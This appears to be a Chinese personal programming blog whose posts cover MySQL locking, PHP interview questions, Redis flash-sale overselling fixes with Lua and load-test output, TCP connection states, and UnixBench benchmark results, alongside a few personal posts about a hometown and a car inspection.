Mysql悲观锁与乐观锁

悲观锁

悲观锁,认为数据是悲观的。当我们查询数据的时候加上锁。防止其他线程篡改,直到对方拿到锁,才能修改。

比如,有如下的表。status=1表示可以下单,status=2表示不可以下订单。假如在并发的过程中有两个用户同时查到status=1,那么从逻辑上来说都可以去新增订单,但是会造成商品超卖。

如下例子

CREATE TABLE `goods` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `status` tinyint(4) DEFAULT NULL,
  `version` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4
INSERT INTO demo.goods (id, name, status, version) VALUES (1, 'test', 1, 1);

session1执行

set autocommit=0;
begin;
select *
from goods where id=1 and goods.status=1 for update ;
update  goods set status=2 where id=1;

session2执行

begin;
select * from goods where id=1 for update;

这时候session2是阻塞的,因为锁还在session1,所以锁一直在等待。如果session1一直不提交,那么session2将在一定时间后超时断开连接,并且报

(1205, ‘Lock wait timeout exceeded; try restarting transaction’)错误,

具体的锁等待时间可以通过设置innodb_lock_wait_timeout参数进行控制。

如果此时在session1中执行commit 操作,那么session2将得到查询结果,并把锁交给session2。

我们还可以通过

show status like 'innodb_row_lock_%';

来进一步查看锁信息。

乐观锁

乐观锁不同于悲观锁,乐观锁是通过自身的程序实现,而不是mySql自身实现。

乐观锁查询的时不上锁,只有在更新的时候检查版本号。

比如我们查询到goods表中version 为1 那么在更新这个表的时候Sql将是

select * from goods where id=1;
update goods set status=2,version=version+1 where id=1 and version=1;

这里的version是查询时候的版本号,每次更改将会导致version+1。如果版本号不匹配更新将不成功。

发表在 笔记 | 留下评论

面试题整理

计算两个日期相差天数

$s = '2019-11-10';
$e = '2019-11-17';

$sd = new DateTime($s);
echo $sd->diff(new DateTime($e))->days;

给出一个多维数组如果里面value是number那么就把它改为0(给到的数组是多维数组)





php实现斐波那契

任意生成一个小于10位的数字在前面加上前导0凑够十位(不允许使用str_pad)

function m_str_pad( $i ) {
    $a = 10 - strlen($i);
    $s = '';
    for ($j=0;$j<$a;$j++) {
        $s .= '0';
    }
    return $s . $i;
}
$n = rand(1,500);
$s = m_str_pad($n);
$e = str_pad($n,'10','0',STR_PAD_LEFT);
echo sprintf("s:%s,e:%s",$s,$e).PHP_EOL;
if ( $s == $e ) {
    echo "Success";
} else {
    echo "Error";
}

给出一个列表[1,2,3,1,1,1,1,1,11,1,1,6,1]里面有个数字出现的概率肯定大于50%请找出该数字

php-fpm是什么

php-fpm是fast-cgi的实现。fast-cgi的工作原理是,首先启动一个master服务,和多个worker,当请求过来的时候将请求交给worker处理,worker不够使用的时候再启动多个work供下面的请求使用。这样做比单纯的php-cgi好处就是避免做一些重复动作,比如重复加载php.ini配置。

在单例中new static和new self有什么区别

首先看下下面的代码

class A {
    private static $instance = null;
    private function __construct()
    {
    }

    public static function getinstance() {
        if ( self::$instance == null ) {
            self::$instance = new self();
        }
        return self::$instance;
    }
}
class B extends A{

    function test() {

    }

}
$s = B::getinstance();
echo get_class($s);

标准懒汉式的单例实现。假如我们B继承了A,如果使用self去初始化构造类将得到A的实例,如果我们需要使用test这个方法可以吧self换成static,这种方式我们称之为延迟绑定。self和static区别,self是指的当前所在的class,static是指上一层的class。

php中的is_writeable函数有bug写个函数来判断文件是否可写

可以利用is_dir函数判断是否是目录,如果是目录我们可以尝试fwrite一个随机文件然后unlink掉,如果是文件,我们可以尝试使用fopen来打开文件句柄。

如何用计算机语言描述mysql字段区别 tinyint(3),int(3)

tinyint占用一个字节,int占用4个字节。那么tinyint取值范围是2^8次方,int是2^32次方,其中括号里面的3不是指只能显示3位数据,而是指ZEROFILL前导o。

Rabbit Mq如何保证消息不丢失

进程之间如何通讯的

内存只有2G如何打开3G的文档

利用fread读取指长度的文档,不能使用file_get_contents该函数是一次性读入内存的,假设php内存限制的比文件小那么将会导致 Fatal error: Allowed memory size错误。

100万个数如何找出前200大的数字

php的数组是引用还是传值

是传值下面是例子,(这里面试官他自己错了)

如下的文档如何使用awk合并成一行

秒杀场景下如何防止超卖

代码参考

实现一个最简单的红包算法

参考这里,最简单的红包实现,计算上限并使用随机数。当然复杂点的有最低金额和最高金额限制成正态分布,那么可以使用一些数学函数去实现。

php中unset后发生了什么

zval的ref_count -1 ,知道为0由GC回收

如何一个class的__construct是private如何访问成员方法

单例模式

http从接受到数据到php运行时经历过什么

js闭包外部能访问吗?能通过外部访问吗?

js崩溃了怎么处理?

Sql有闭包吗?

Sql有数组吗?

如何用Sql表示一个三维的数据?

主键索引和唯一索引在存储的时候有什么不同?

主键索引只能唯一,唯一索引单表中可以又多列记录,而且唯一索引可以为空,主键索引必须有值。

mysql为什么采用b树而不是hash

hash索引需要将数据都加载在内存中数据库比较大的时候比较消耗内存,而且hash索引是O(1)表面上是很快,单实际上我们查询的过程中还有很多范围查询,这时候hash索引就没啥作用了。

mysql为什么采用b+树而不是b树

聚簇索引

Go、php数组是如何实现自动扩容的

Redis中zset实现原理

用Golang手写一个快排

线上有个两千万行的表需要加一个字段您如何解决

  1. mySql 5.6已经支持在线DDL操作并且不锁表。
  2. 可以使用pt-online-schema-change工具。
  3. 新建一张表,然后将老表内容复制过去,中间更改的字段可以读取binlog回放到新表中。

在innodb中假如插入如下数据select 后是什么结果(id为主键,且非自增)

idname
3name3
2name2
5name5
9name9
10name10

结果还是按照2,3,5,9,10顺序展示,因为聚族索引的关系。

发表在 笔记 | 留下评论

php初级面试题(含答案)

偶然在群里发现这么一份挺有意思的面试题。

答案:https://github.com/littlestar1998/codedemo/tree/master/interview_question

发表在 笔记 | 留下评论

多个整数求最大值

PHP版

$a = [100,200,-1,1,2,4,3,2];
$max = $a[0];
foreach ($a  as $v) {
    if ( $v > $max ) $max = $v;
}
echo $max;//200

Golang

package main

func main()  {
	var aa = [8]int{100,200,-1,1,2,4,3,2}
	max := aa[0]
	for a := 0 ;a< len(aa);a++ {
		v := aa[a]
		if ( v > max ) {
			max = v
		}
	}
	println(max)
}
发表在 笔记 | 留下评论

简单红包算法

function luckmoney($money_sum , $number_sum) {
    //循环总人数 -1 (最后一个人的红包用剩余的金额)
    for ( $i=1 ; $i < $number_sum ; $i++ ) {
        //每个人红包的上限
        $a = ($money_sum  - ($number_sum-$i)*0.01) / ($number_sum-$i);
        //一定范围的随机
        $money = mt_rand(1,$a*100) / 100;
        //总金额-分给用户的红包 = 下一批还可以分配的金额
        $money_sum -= $money;
        echo sprintf("第%s人的红包金额:%s",$i,$money).PHP_EOL;
    }
    $last_money = $money_sum;//没分完的给最后一个人
    echo sprintf("第10人的红包金额:%s",$last_money).PHP_EOL;
}
luckmoney(20,10);

可将生成的金额放到Redis的list中,顶端rpush 底部lpop,消费完成也就是红包抢完。详细代码参考这里

发表在 笔记 | 留下评论

如皋老街

不知是自己的年龄大了还是怎么,感觉最近两年特别怀疑老物件,痴迷于胶片的色彩,对于数码化的今天,胶片色彩是那么容易令人有回忆感。

偶然间翻到一篇自己家乡的老照片,对我我这样的90后来说,如皋这座城市,给我带来的回忆最多的只剩下水绘园。本来一个有着丰富厚重文化底蕴城市,十几年间变成了这么一个城市。

1995年的大规模拆迁,使得这组老街的黑白照片显得弥足珍贵,作为一名老街坊,在由衷感谢摄影家丁松山先生之后,思绪一下子闪回到了十七年前……

1991年6月1日如皋撤县建市 丁松山/摄
这是从银行宿舍楼向北俯拍的,左边的大房子是人民剧场,图中的烟囱是浴春池。
跃进路
北大街,从曹家桥向南拍摄
北大街南端,浴春池附近,路左边是镇医院的牙科
北大街线厂北边向南拍摄
北大街南端向北,左边第二家是开水炉子
同上
剧场街和北大街交会处由西向东拍摄,左边是公社医院,右边巷子是妇产科
钟楼
关帝庙(如中饭堂)
范桥北巷,里面有老白铁社
都天庙巷口
安定巷口
都天庙门口
从吊桥口向南拍摄的北大街北端
古旧河巷口
安定巷
北大街北段,照片无意拍下了街上有名的大学生张远志先生,可惜是位精神病患者

引用http://blog.sina.com.cn/s/blog_67235f7101012gxi.html

发表在 笔记 | 留下评论

秒杀场景下Redis如何防止商品被超卖

本文代码见https://github.com/littlestar1998/flashsale.git

假设我们有20个产品放在在Redis的goods_count key中。

buy.php

require './vendor/autoload.php';
$redis = new Predis\Client(['host'=>'redis']);
$redis->setnx('goods_count',20);//设置库存为20,setnx表示没有此key的时候设置此key=>value如果有此key则忽略本次操作
if ( $redis->get('goods_count') > 0 ) {
    $redis->decr('goods_count');//将value -1
}

使用ab测试下来看似没有问题,但是实际业务真的是这样吗?

正常情况下,查询goods_count后还会有很多操作占用一点时间去处理。最终才会decr操作将库存-1。

我们这里使用sleep函数来模拟业务操作。

require './vendor/autoload.php';
$redis = new Predis\Client(['host'=>'redis']);
$redis->setnx('goods_count',20);//设置库存为20,setnx表示没有此key的时候设置此key=>value如果有此key则忽略本次操作
if ( $redis->get('goods_count') > 0 ) {
    sleep(1);//模拟业务处理时间
    $redis->decr('goods_count');//将value -1
}

用ab模拟50个并发模拟操作。

ab -c 50 -n 300 http://127.0.0.1:8820/buy.php
结果发生了超卖

虽然Redis是单线程原子操作,但是和业务结合起来的时候并不是原子操作。这里有个先后问题。即使没有sleep也会有这样的问题的,只是sleep将此问题放大了,业务处理时间越长并发量越大,问题越严重。

那我们该如何解决呢?

其实Redis也提供了类似mySql的事务操作,我们可以将代码修改成如下。

require './vendor/autoload.php';
$redis = new Predis\Client(['host'=>'redis']);
$redis->setnx('goods_count',20);//设置库存为20,setnx表示没有此key的时候设置此key=>value如果有此key则忽略本次操作
$stock_count = $redis->get('goods_count');
$redis->watch('goods_count');
$redis->multi();
if ( $stock_count > 0 ) {
    sleep(1);//模拟业务处理时间
    $redis->decr('goods_count');//将value -1
    if ( $redis->exec() ) {
        echo "Success";
    } else {
        echo "Fail";
    }
} else {
    echo "No stock";
}

watch命令监控key的变动,如果发生变动执行事务时直接返回false,类似乐观锁的版本号,更新时候版本号不正确将不能更新。

multi命令的作用是开启事务,告诉Redis,我下面执行的命令都是一组操作,等我提交后你再一并执行。

通过ab测试100个并发下多次测试并没有再出现问题。

如果在开启事务之后再去get操作将会得到QUEUED结果,表示已经在队列中,所以必须在开启事务之前去获取库存数量。

那么这样真的就可以了吗?

该方案还有如下几个问题。

  1. 多条Redis命令没有实现原子性。
  2. 每个用户都会产生多次Redis连接。
  3. 上面方案中使用的sleep模拟业务代码和抢购代码耦合在一起不利于维护。

对于第一、第二个问题我们可以使用Redis + Lua脚本解决,Redis 2.6+支持Lua脚本来扩展,可以将抢购的操作封装成Lua script去执行该脚本。

我看很多文章说redis + lua 可以实现事务,其实lua脚本只能实现原子性,并不能完全实现事务,(如果是输入命令出处是可以实现的,但是如果是执行时候出错是不能实现事务)所谓的原子性其实就是解决多个指令并发问题,比如上面我们先查询库存再去扣减,这样并不是原子性,其实是两个操作。如果使用lua来写,那么这两个操作就是成原子性变成一次操作。

Lua代码如下,使用decrby来扣除指定的库存。

local key_name = KEYS[1]
local decrby_count = tonumber(ARGV[1])
local goods_count = tonumber(redis.call("get",key_name))

if goods_count > 0 then
    redis.call("decrby",key_name,decrby_count)
    return tonumber(redis.call("get",key_name))
else
    return 0
end

修改后的PHP代码

require './vendor/autoload.php';
$redis = new Predis\Client(['host'=>'redis']);
$redis->setnx('goods_count',20);//设置库存为20,setnx表示没有此key的时候设置此key=>value如果有此key则忽略本次操作
$stock_count = $redis->eval(file_get_contents('flashsale.lua'),1,"goods_count","1");
if ( $stock_count > 0 ) {
    sleep(1);
} else {
    echo "No stock".PHP_EOL;
}
Server Software:        nginx/1.17.5
Server Hostname:        127.0.0.1
Server Port:            8820

Document Path:          /buy.php
Document Length:        0 bytes

Concurrency Level:      50
Time taken for tests:   18.707 seconds
Complete requests:      300
Failed requests:        251
   (Connect: 0, Receive: 0, Length: 251, Exceptions: 0)
Total transferred:      51759 bytes
HTML transferred:       2259 bytes
Requests per second:    16.04 [#/sec] (mean)
Time per request:       3117.794 [ms] (mean)
Time per request:       62.356 [ms] (mean, across all concurrent requests)
Transfer rate:          2.70 [Kbytes/sec] received

这时候QPS达到了16。

第三个问题我们可以使用消息队列解决,将抢购成功的用户push到消息队列里面消费,这样可以避免因为处理业务导致抢购服务器超时。

这里我们使用Redis的List来实现消息队列,其实不太建议这样使用,消息队列还是使用专业的软件来处理吧比如RabbitMQ、Active MQ等…这里只是模拟。

require './vendor/autoload.php';
$redis = new Predis\Client(['host'=>'redis']);
$stock_count = $redis->eval(file_get_contents('flashsale.lua'),1,"goods_count","1");
if ( $stock_count > 0 ) {
    $redis->rpush('goods_list',['email'=>'liuboserehi@gmail.com','good_id'=>88]);
} else {
    echo "No stock".PHP_EOL;
}
Server Software:        nginx/1.17.5
Server Hostname:        127.0.0.1
Server Port:            8820

Document Path:          /buy.php
Document Length:        0 bytes

Concurrency Level:      50
Time taken for tests:   9.146 seconds
Complete requests:      300
Failed requests:        281
   (Connect: 0, Receive: 0, Length: 281, Exceptions: 0)
Total transferred:      52029 bytes
HTML transferred:       2529 bytes
Requests per second:    32.80 [#/sec] (mean)
Time per request:       1524.401 [ms] (mean)
Time per request:       30.488 [ms] (mean, across all concurrent requests)
Transfer rate:          5.56 [Kbytes/sec] received

再压测一遍QPS达到了32.

redis除了使用eval执行lua外还可以使用evalsha来执行。他们之间的区别是eval执行的是lua命令,evalsha是执行一段sha的哈希值,该hash值是先Load再去执行的。可以使用evalsha再来优化下。

使用script load脚本

redis-cli script load "$(cat flashsale.lua)"

这是会返回一个hash值,将此hash值填入到evalsha函数中。

require './vendor/autoload.php';
$redis = new Predis\Client(['host'=>'redis']);
$stock_count = $redis->evalsha('64fd09add863eb1a159fcec282e2a5e7349f1970',1,"goods_count","1");
if ( $stock_count > 0 ) {
    $redis->rpush('goods_list',['email'=>'liuboserehi@gmail.com','good_id'=>88]);
} else {
    echo "No stock".PHP_EOL;
}
Server Software:        nginx/1.17.5
Server Hostname:        127.0.0.1
Server Port:            8820

Document Path:          /buy.php
Document Length:        0 bytes

Concurrency Level:      50
Time taken for tests:   8.171 seconds
Complete requests:      300
Failed requests:        281
   (Connect: 0, Receive: 0, Length: 281, Exceptions: 0)
Total transferred:      52029 bytes
HTML transferred:       2529 bytes
Requests per second:    36.71 [#/sec] (mean)
Time per request:       1361.865 [ms] (mean)
Time per request:       27.237 [ms] (mean, across all concurrent requests)
Transfer rate:          6.22 [Kbytes/sec] received

压测后的数据有稍微的提升。

以上就是秒杀架构大体内容,如果你有更好的方法可以给我留言。

发表在 笔记 | 留下评论

2019个人目标

目标多了比较迷茫,2019就一个目标截止到2020一月份减肥到140斤。有图欢迎监督。

发表在 经验分享 | 3条评论

算法题:如何找出数组中第二大的数

假设有如下的数组[3,1,5,6,4],找出该数组中的第二大的数。

方法1:将数组先排序,利用count 访问倒数第二个index

<?php
$arr = [3,1,5,6,4];
sort($arr);
echo $arr[count($arr)-2];

发表在 笔记 | 留下评论

php如何将zip解压到内存

假设有个功能需要相关用户上传zip包,然后对压缩包内容读取并处理。我们一般的做法需要将压缩包打开,然后再解压到磁盘上面,去遍历该磁盘文件。这样做有个缺点,解压后的文件需要及时删除,避免下次遍历的时候扫描到,处理起来比较麻烦,其实我们可以将压缩包打开,在内存中处理掉。这样PHP生命周期结束的时候也就销毁了,不需要写删除逻辑。

可以参考下面我写的Github的代码。

https://github.com/littlestar1998/codedemo/blob/master/zipextractmemory

发表在 笔记 | 留下评论

面试题:利用至少三种方式将小写英文转大写

方法1:利用ascii值减去32转为大写。

<?php
$str = "aBcD都是大写";
$array = str_split($str);//字符转数组
foreach($array as $k=>$v) {
    $ascii_value = ord($v);//字符转ascii值
    if ( $ascii_value >= 97  && $ascii_value <= 122 ) { //找出小写的字符
        $upperascii = $ascii_value - 32; //小写转大写
        $array[$k] = chr($upperascii);//ascii转字符
    }
}
echo implode($array).PHP_EOL;

方法2:也是最简单,利用mb开头的系统函数(mb_convert_case)来处理,切不可使用strtoupper这样会导致乱码。

<?php
$str = "aBcD都是大写";
echo mb_convert_case($str,MB_CASE_UPPER).PHP_EOL;

方法3:正则。如果有其他方法欢迎补充。

echo 'abc123ABC123' | perl -ple 's/([b-z])/\U$1\E/g'

发表在 笔记 | 留下评论

算法题:找出数组中相加等于9的元素

PHP语言版

<?php
$arr = [1,7,2,4,5,4,6,3,8,-1,10];//声明数组
foreach( $arr as $k=>$v) {
    $i = 9 - $v;
    if ( in_array($i,$arr) ) { //用9减去当前值,查找数组中是否有匹配的差。
        $s = array_search($i,$arr);
        echo $k ."-".$s.PHP_EOL;
    }
}

GO语言版

发表在 笔记 | 留下评论

linux netstat 状态分别代表什么意思

执行netstat -an,找到stat分别对应以下几种英文

LISTEN
SYN-SENT
SYN-RECEIVED
ESTABLISHED

FIN_WAIT_1
FIN_WAIT_2
CLOSE_WAIT
TIME_WAIT
LAST-ACK
CLOSED

这个得用TCP/IP的三次握手,四次挥手说起。

TCP的建立

三次握手

第一次握手
客户端发送SYN包,SYN=X。这时候客户端进入SYN-SEND状态

第二次握手
服务器响应客户端的SYN请求,需要报文进行确认ACK(x+1),同时向客户端发送SYN包和自己的Seq=k,这时候服务器进入SYN-RECEIVED状态,即半连接状态。(DDOS工作原理也是伪造大量不存在的IP包,服务器响应并进入SYN-RECEIVED状态,消耗服务器的连接数,导致正常的请求不能响应。)

第三次握手

客户端收到SYN+ACK包后将k+1,然后发送ACK给服务器和Seq=z,这时候服务收到后双方进入ESTABLISHED状态。

连接建立后双方可以发送数据。

tcp的关闭

关闭连接可以是客户端或者服务器端,

四次挥手

第一次挥手

主动方发送FIN包,并进入FIN_WAIT_1状态

第二次挥手

被关闭方收到FIN包后,发送ACK包并进入CLOSE_WAIT状态,主动关闭方收到ACK后主动方变成FIN_WAIT_2。

第三次挥手

被关闭方发送FIN包,并进入LAST_ACK状态。

第四次挥手

主动关闭方收到被关闭方的FIN包后并发送ACK,这时候主动方变成TIME_WAIT状态,被动方收到主动方的ACK后就关闭了连接,这时候,主动方等待2ML后仍没有收到回复,默认被关闭方已经关闭,这时候主动方关闭连接。

SYN:建立连接
ACK:响应请求
FIN:关闭连接

发表在 笔记 | 留下评论

记第一次审车

自从去年10月份买了人生中第一辆车后生活变得滋润起来,时不时周末出去溜达很是美好。下雨天不要冒着大雨去上班,冬天不要顶着寒风骑车,虽然中间也花了不少油钱和一次小的擦伤重新喷了下保险杆换了个尾灯,可是这都不是事,1月底即将迎来人生中第一次审车。特此记录方便有需要的人。

我的车籍所在地在南通,而我在上海,假如回去验车也显得麻烦,这时候就有人做起了异地审车的生意了,打开某宝,搜索“异地审车”有很多结果,大同小异,都是你给他身份证、和行车证拍照,价格嘛100元左右。然后他会给你寄一张委托书给你。你就可以拿着委托书、身份证复印件、行驶证原件、有效期内的交强险副本去本地的“验车站”上线验车了。

—2018-01-20更新

去验车前请做好如下准备

行驶证、交强险副本、身份证、三角牌、自己确认下车灯光是否正常(远,近灯、刹车灯、倒车灯、转向灯、雾灯、雨刷器是否正常)

尤其是灯光一定要正常。避免再次去检查,我也是没有检查就直接去了,发现大灯有个不亮,开到汽配城去换了个灯泡和刹车灯花了50,立马再去上线检查。

进入验车现场

我们需要找个一个验车流程图,拍下来方便我们后面继续进行。

第一步 我们先找到登记大厅,找到登记材料写上自己的信息,然后交给1号窗口办理,随后他会给你一些材料。(如果你没有复印行驶证请复印下行驶证,里面会有复印的,1块钱。)

第二步 然后你抱着材料去到指定号码的线路上面等。

第三步 把自己的三角牌撑开放到挡风玻璃下面。

第四步 等到你的时候会有人来开你的车。

第五步 你只需要在出口等车开出来,如果合格会给你材料去领取标。

第六步 到窗口2交材料,然后等待叫号到三号窗口等到领取新的验车标签。

本以为很麻烦,实际上很轻松,很快就检查好了。

发表在 经验分享 | 留下评论

php线程安全(TS)和非线程(NTS)安全区别

以下线程安全简称TS
非线程安全简称NTS

首先unix/linux不强调使用线程模型,强调使用多进程模型,windows下面才强调使用多线程。创建进程的速度比创建线程慢几倍,并且相互通信比线程慢很多,毕竟人家线程是资源共享嘛,并且进程通信相对麻烦,至于为什么linux还强调使用多进程模型呢?首先看下多线程和多进程的优缺点。

多进程优点:资源独立,不会相互影响,各种不同的代码水平的程序不会相互影响。
多线程优点:资源共享,创建线程速度快,相互通信快。

个人认为使用多进程是因为资源独立,奔溃不受影响,这也是linux稳定的原因之一吧!具体是什么原因这里不讨论了如果您知道请在评论中写上。

早期的window上面使用iis+php是使用CGI方式的,就是需要不停创建进程,而在windows中创建进程的消耗是比较大的。所以windows推出了isapi多线程运行才能保证效率,可是上面提到了多线程和多进程的优缺点,php很多扩展是在采用linux下推荐的多进程模型,这些扩展在windows下面运行可能会造成iis的奔溃,这对于高可用来说是不能忍受的。所以就有了线程安全版本,不会弄垮iis服务器。

但是我想保证效率的同时也要保证iis的安全怎么办呢?这是要就有人提出fastcgi概念,就是将cgj解释进程保存在内存中,接受fastcgi进程管理器的调度,然后复用的过程。

总结:如果您在windows中使用isapi运行php就要使用ts版本,如果使用了cgi或者fastcgi使用nts,保证了效率的同时也保证了安全,当然由于linux推荐使用多进程直接使用nts版本即可。

发表在 笔记 | 留下评论

MacPassHTTP安装

在windows上面一直用chromeIPass+keepass+keepassHttp好久了,最近换了MAC,只能使用Macpass,官网的插件又不能兼容Macpass,这时候发现macpass官方也给到一个MacPassHTTP的插件,这样mac下面也能自动填充表单。

首先去github的releases页下载最新的编译后的文件
下载后解压MacPassHTTP.mpplugin-0.2.1.zip
在终端上面打开目录

[bash]
open ~/Library/Application\ Support/MacPass/
[/bash]

将解压后的MacPassHTTP.mpplugin复制进去。
然后重启macpass,command + ,打开偏好设置
屏幕快照 2017-02-27 22.14.59

选择加载不安全的插件。

发表在 经验分享 | 留下评论

unixbench安装以及测试结果

apt-get install libxext-dev
apt-get install libgl1-mesa-dev
https://github.com/kdlucas/byte-unixbench/archive/v5.1.3.tar.gz
tar xvf byte-unixbench-5.1.3.tar.gz
cd byte-unixbench-5.1.3/UnixBench/
make
./Run

Pcduino litle wifi

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: ubuntu: GNU/Linux
   OS: GNU/Linux -- 3.4.29+ -- #2 PREEMPT Mon Oct 14 11:08:37 CST 2013
   Machine: armv7l (armv7l)
   Language: en_US.utf8 (charmap="ANSI_X3.4-1968", collate="ANSI_X3.4-1968")
   03:56:56 up 11:56,  3 users,  load average: 0.12, 0.13, 0.14; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 03:56:56 - 04:25:09
0 CPUs in system; running 1 parallel copy of tests

Dhrystone 2 using register variables        3679393.6 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                      203.4 MWIPS (10.2 s, 7 samples)
Execl Throughput                                782.2 lps   (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks         92321.2 KBps  (30.1 s, 2 samples)
File Copy 256 bufsize 500 maxblocks           31861.1 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks        165615.5 KBps  (30.5 s, 2 samples)
Pipe Throughput                              294657.0 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                  71320.2 lps   (10.0 s, 7 samples)
Process Creation                               2851.9 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                   1179.9 lpm   (60.0 s, 2 samples)
Shell Scripts (8 concurrent)                    152.2 lpm   (60.3 s, 2 samples)
System Call Overhead                         613736.0 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0    3679393.6    315.3
Double-Precision Whetstone                       55.0        203.4     37.0
Execl Throughput                                 43.0        782.2    181.9
File Copy 1024 bufsize 2000 maxblocks          3960.0      92321.2    233.1
File Copy 256 bufsize 500 maxblocks            1655.0      31861.1    192.5
File Copy 4096 bufsize 8000 maxblocks          5800.0     165615.5    285.5
Pipe Throughput                               12440.0     294657.0    236.9
Pipe-based Context Switching                   4000.0      71320.2    178.3
Process Creation                                126.0       2851.9    226.3
Shell Scripts (1 concurrent)                     42.4       1179.9    278.3
Shell Scripts (8 concurrent)                      6.0        152.2    253.6
System Call Overhead                          15000.0     613736.0    409.2
                                                                   ========
System Benchmarks Index Score                                         210.3

树莓派 Raspberry pi

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: pi: GNU/Linux
   OS: GNU/Linux -- 4.1.19+ -- #858 Tue Mar 15 15:52:03 GMT 2016
   Machine: armv6l (unknown)
   Language: en_US.utf8 (charmap="ANSI_X3.4-1968", collate="ANSI_X3.4-1968")
   CPU 0: ARMv6-compatible processor rev 7 (v6l) (0.0 bogomips)

   11:59:31 up 2 days, 23:22,  4 users,  load average: 1.37, 1.01, 1.11; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 11:59:31 - 12:28:48
1 CPU in system; running 1 parallel copy of tests

Dhrystone 2 using register variables        1153340.6 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                      241.6 MWIPS (9.9 s, 7 samples)
Execl Throughput                                133.5 lps   (29.8 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks         23426.9 KBps  (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks            7382.2 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks         60518.4 KBps  (30.0 s, 2 samples)
Pipe Throughput                              101870.2 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                  11480.0 lps   (10.0 s, 7 samples)
Process Creation                                337.2 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                    251.3 lpm   (60.1 s, 2 samples)
Shell Scripts (8 concurrent)                     30.2 lpm   (61.6 s, 2 samples)
System Call Overhead                         245877.9 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0    1153340.6     98.8
Double-Precision Whetstone                       55.0        241.6     43.9
Execl Throughput                                 43.0        133.5     31.0
File Copy 1024 bufsize 2000 maxblocks          3960.0      23426.9     59.2
File Copy 256 bufsize 500 maxblocks            1655.0       7382.2     44.6
File Copy 4096 bufsize 8000 maxblocks          5800.0      60518.4    104.3
Pipe Throughput                               12440.0     101870.2     81.9
Pipe-based Context Switching                   4000.0      11480.0     28.7
Process Creation                                126.0        337.2     26.8
Shell Scripts (1 concurrent)                     42.4        251.3     59.3
Shell Scripts (8 concurrent)                      6.0         30.2     50.3
System Call Overhead                          15000.0     245877.9    163.9
                                                                   ========
System Benchmarks Index Score                                          56.9

Digitalocean 512M

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: debian-512mb-sfo2-01: GNU/Linux
   OS: GNU/Linux -- 4.9.0-040900rc8-generic -- #201612051443 SMP Mon Dec 5 19:45:51 UTC 2016
   Machine: x86_64 (unknown)
   Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
   CPU 0: Intel(R) Xeon(R) CPU E5-2650L v3 @ 1.80GHz (3600.0 bogomips)
          x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
   12:16:15 up 34 days, 22:37,  1 user,  load average: 0.00, 0.00, 0.00; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 12:16:15 - 12:44:28
1 CPU in system; running 1 parallel copy of tests

Dhrystone 2 using register variables       25023320.3 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                     2935.3 MWIPS (9.9 s, 7 samples)
Execl Throughput                               3534.2 lps   (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks        870384.4 KBps  (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks          242078.0 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks       1871082.4 KBps  (30.0 s, 2 samples)
Pipe Throughput                             1667623.2 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                 249978.5 lps   (10.0 s, 7 samples)
Process Creation                               9881.8 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                   6111.9 lpm   (60.0 s, 2 samples)
Shell Scripts (8 concurrent)                    800.5 lpm   (60.0 s, 2 samples)
System Call Overhead                        2820704.9 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0   25023320.3   2144.2
Double-Precision Whetstone                       55.0       2935.3    533.7
Execl Throughput                                 43.0       3534.2    821.9
File Copy 1024 bufsize 2000 maxblocks          3960.0     870384.4   2197.9
File Copy 256 bufsize 500 maxblocks            1655.0     242078.0   1462.7
File Copy 4096 bufsize 8000 maxblocks          5800.0    1871082.4   3226.0
Pipe Throughput                               12440.0    1667623.2   1340.5
Pipe-based Context Switching                   4000.0     249978.5    624.9
Process Creation                                126.0       9881.8    784.3
Shell Scripts (1 concurrent)                     42.4       6111.9   1441.5
Shell Scripts (8 concurrent)                      6.0        800.5   1334.2
System Call Overhead                          15000.0    2820704.9   1880.5
                                                                   ========
System Benchmarks Index Score                                        1299.4

Vpsfast 512M

========================================================================
   BYTE UNIX Benchmarks (Version 5.1.3)

   System: littlestart: GNU/Linux
   OS: GNU/Linux -- 3.2.0-4-amd64 -- #1 SMP Debian 3.2.41-2
   Machine: x86_64 (unknown)
   Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
   CPU 0: QEMU Virtual CPU version (cpu64-rhel6) (6585.1 bogomips)
          x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
   07:34:40 up 15:21,  1 user,  load average: 0.24, 0.25, 0.15; runlevel 2

------------------------------------------------------------------------
Benchmark Run: Wed Jan 18 2017 07:34:40 - 08:02:52
1 CPU in system; running 1 parallel copy of tests

